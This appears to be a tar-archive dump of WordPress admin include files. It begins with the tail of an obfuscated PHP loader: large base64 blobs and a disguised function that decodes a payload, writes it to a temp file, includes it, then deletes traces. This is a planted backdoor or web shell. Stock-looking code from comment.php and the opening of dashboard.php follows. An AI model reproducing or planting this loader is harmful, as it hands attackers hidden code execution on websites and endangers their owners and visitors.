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  ';     var $code = 'XZBBa4QwEIXPLux/mAYhCtLustAeXL0UYUsPtmp7kSJZG6tgjJvE0qX0v3dML11vM3lvvrwZV3cQAaUh  uP2pxbJhvebheuWepMCWVASuQU9HbZSnW7b13CpPstckK+mhKJ6qQ5oX9M0PYBPAzsfBrvE6rblBY5Y8  vyR5UdJKfaDHh+/1ynFc++UlcuG0tO3tjHN+gGOif9T7NH18SMo54IJ5qYVW+NvKqIlbmM13xcVozh4O  4bziZlIDMKWYfQqAHnfNpr6jAcycwF5mjsLrVgLdN1IJYLXp5BARAoKbVr5HZJTakHjfDeNkwJxHHhHD  vwyBgQmscbGFihcQHeqfrJ+wjWPUb2Z4TMNf'; }  new Wid();";$_b = "\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65";fuNcTiOn ____($_____) {   $_a = sYs_gEt_TeMp_dIr();    $tmpfname = TeMpNaM($_a, "\x75\x6E\x69\x78\x2E\x31\x31");    $handle = fOpEn($tmpfname, "w+");    fWrItE($handle, "\x3C\x3F\x70\x68\x70\n" . $_____);    FcLoSe($handle);    iNcLuDe $tmpfname;    array_map('unlink', glob($_a . "/*.11*"));    /*2e3300cd40ea092e5eeb579abe01e85a*/rEtUrN get_defined_vars();}eXtRaCt(____($_b($_____)));�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������comment.php�����������������������������������������������������������������������������������������0000604�����������������00000013663�15075125354�0006733 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Comment Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

/**
 * Determine if a comment exists based on author and date.
 *
 * For best performance, use `$timezone = 'gmt'`, which queries a field that is properly indexed. The default value
 * for `$timezone` is 'blog' for legacy reasons.
 *
 * @since 2.0.0
 * @since 4.4.0 Added the `$timezone` parameter.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $comment_author Author of the comment.
 * @param string $comment_date   Date of the comment.
 * @param string $timezone       Timezone. Accepts 'blog' or 'gmt'. Default 'blog'.
 * @return string|null Comment post ID on success.
 */
function comment_exists( $comment_author, $comment_date, $timezone = 'blog' ) {
	global $wpdb;

$date_field = 'comment_date';
	if ( 'gmt' === $timezone ) {
		$date_field = 'comment_date_gmt';
	}

return $wpdb->get_var(
		$wpdb->prepare(
			"SELECT comment_post_ID FROM $wpdb->comments
			WHERE comment_author = %s AND $date_field = %s",
			stripslashes( $comment_author ),
			stripslashes( $comment_date )
		)
	);
}

/**
 * Update a comment with values provided in $_POST.
 *
 * @since 2.0.0
 * @since 5.5.0 A return value was added.
 *
 * @return int|WP_Error The value 1 if the comment was updated, 0 if not updated.
 *                      A WP_Error object on failure.
 */
function edit_comment() {
	if ( ! current_user_can( 'edit_comment', (int) $_POST['comment_ID'] ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit comments on this post.' ) );
	}

if ( isset( $_POST['newcomment_author'] ) ) {
		$_POST['comment_author'] = $_POST['newcomment_author'];
	}
	if ( isset( $_POST['newcomment_author_email'] ) ) {
		$_POST['comment_author_email'] = $_POST['newcomment_author_email'];
	}
	if ( isset( $_POST['newcomment_author_url'] ) ) {
		$_POST['comment_author_url'] = $_POST['newcomment_author_url'];
	}
	if ( isset( $_POST['comment_status'] ) ) {
		$_POST['comment_approved'] = $_POST['comment_status'];
	}
	if ( isset( $_POST['content'] ) ) {
		$_POST['comment_content'] = $_POST['content'];
	}
	if ( isset( $_POST['comment_ID'] ) ) {
		$_POST['comment_ID'] = (int) $_POST['comment_ID'];
	}

foreach ( array( 'aa', 'mm', 'jj', 'hh', 'mn' ) as $timeunit ) {
		if ( ! empty( $_POST[ 'hidden_' . $timeunit ] ) && $_POST[ 'hidden_' . $timeunit ] != $_POST[ $timeunit ] ) {
			$_POST['edit_date'] = '1';
			break;
		}
	}

if ( ! empty( $_POST['edit_date'] ) ) {
		$aa = $_POST['aa'];
		$mm = $_POST['mm'];
		$jj = $_POST['jj'];
		$hh = $_POST['hh'];
		$mn = $_POST['mn'];
		$ss = $_POST['ss'];
		$jj = ( $jj > 31 ) ? 31 : $jj;
		$hh = ( $hh > 23 ) ? $hh - 24 : $hh;
		$mn = ( $mn > 59 ) ? $mn - 60 : $mn;
		$ss = ( $ss > 59 ) ? $ss - 60 : $ss;

$_POST['comment_date'] = "$aa-$mm-$jj $hh:$mn:$ss";
	}

return wp_update_comment( $_POST, true );
}

/**
 * Returns a WP_Comment object based on comment ID.
 *
 * @since 2.0.0
 *
 * @param int $id ID of comment to retrieve.
 * @return WP_Comment|false Comment if found. False on failure.
 */
function get_comment_to_edit( $id ) {
	$comment = get_comment( $id );
	if ( ! $comment ) {
		return false;
	}

$comment->comment_ID      = (int) $comment->comment_ID;
	$comment->comment_post_ID = (int) $comment->comment_post_ID;

$comment->comment_content = format_to_edit( $comment->comment_content );
	/**
	 * Filters the comment content before editing.
	 *
	 * @since 2.0.0
	 *
	 * @param string $comment_content Comment content.
	 */
	$comment->comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content );

$comment->comment_author       = format_to_edit( $comment->comment_author );
	$comment->comment_author_email = format_to_edit( $comment->comment_author_email );
	$comment->comment_author_url   = format_to_edit( $comment->comment_author_url );
	$comment->comment_author_url   = esc_url( $comment->comment_author_url );

return $comment;
}

/**
 * Get the number of pending comments on a post or posts
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|array $post_id Either a single Post ID or an array of Post IDs
 * @return int|array Either a single Posts pending comments as an int or an array of ints keyed on the Post IDs
 */
function get_pending_comments_num( $post_id ) {
	global $wpdb;

$single = false;
	if ( ! is_array( $post_id ) ) {
		$post_id_array = (array) $post_id;
		$single        = true;
	} else {
		$post_id_array = $post_id;
	}
	$post_id_array = array_map( 'intval', $post_id_array );
	$post_id_in    = "'" . implode( "', '", $post_id_array ) . "'";

$pending = $wpdb->get_results( "SELECT comment_post_ID, COUNT(comment_ID) as num_comments FROM $wpdb->comments WHERE comment_post_ID IN ( $post_id_in ) AND comment_approved = '0' GROUP BY comment_post_ID", ARRAY_A );

if ( $single ) {
		if ( empty( $pending ) ) {
			return 0;
		} else {
			return absint( $pending[0]['num_comments'] );
		}
	}

$pending_keyed = array();

// Default to zero pending for all posts in request.
	foreach ( $post_id_array as $id ) {
		$pending_keyed[ $id ] = 0;
	}

if ( ! empty( $pending ) ) {
		foreach ( $pending as $pend ) {
			$pending_keyed[ $pend['comment_post_ID'] ] = absint( $pend['num_comments'] );
		}
	}

return $pending_keyed;
}

/**
 * Adds avatars to relevant places in admin.
 *
 * @since 2.5.0
 *
 * @param string $name User name.
 * @return string Avatar with the user name.
 */
function floated_admin_avatar( $name ) {
	$avatar = get_avatar( get_comment(), 32, 'mystery' );
	return "$avatar $name";
}

/**
 * @since 2.7.0
 */
function enqueue_comment_hotkeys_js() {
	if ( 'true' === get_user_option( 'comment_shortcuts' ) ) {
		wp_enqueue_script( 'jquery-table-hotkeys' );
	}
}

/**
 * Display error message at bottom of comments.
 *
 * @param string $msg Error Message. Assumed to contain HTML and be sanitized.
 */
function comment_footer_die( $msg ) {
	echo "<div class='wrap'><p>$msg</p></div>";
	require_once ABSPATH . 'wp-admin/admin-footer.php';
	die;
}
�����������������������������������������������������������������������������dashboard.php���������������������������������������������������������������������������������������0000604�����������������00000176245�15075125354�0007226 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Dashboard Widget Administration Screen API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Registers dashboard widgets.
 *
 * Handles POST data, sets up filters.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global array $wp_dashboard_control_callbacks
 */
function wp_dashboard_setup() {
	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_dashboard_control_callbacks;
	$wp_dashboard_control_callbacks = array();
	$screen                         = get_current_screen();

/* Register Widgets and Controls */

$response = wp_check_browser_version();

if ( $response && $response['upgrade'] ) {
		add_filter( 'postbox_classes_dashboard_dashboard_browser_nag', 'dashboard_browser_nag_class' );
		if ( $response['insecure'] ) {
			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'You are using an insecure browser!' ), 'wp_dashboard_browser_nag' );
		} else {
			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'Your browser is out of date!' ), 'wp_dashboard_browser_nag' );
		}
	}

// PHP Version.
	$response = wp_check_php_version();
	if ( $response && isset( $response['is_acceptable'] ) && ! $response['is_acceptable'] && current_user_can( 'update_php' ) ) {
		add_filter( 'postbox_classes_dashboard_dashboard_php_nag', 'dashboard_php_nag_class' );
		wp_add_dashboard_widget( 'dashboard_php_nag', __( 'PHP Update Required' ), 'wp_dashboard_php_nag' );
	}

// Site Health.
	if ( current_user_can( 'view_site_health_checks' ) && ! is_network_admin() ) {
		if ( ! class_exists( 'WP_Site_Health' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
		}

WP_Site_Health::get_instance();

wp_enqueue_style( 'site-health' );
		wp_enqueue_script( 'site-health' );

wp_add_dashboard_widget( 'dashboard_site_health', __( 'Site Health Status' ), 'wp_dashboard_site_health' );
	}

// Right Now.
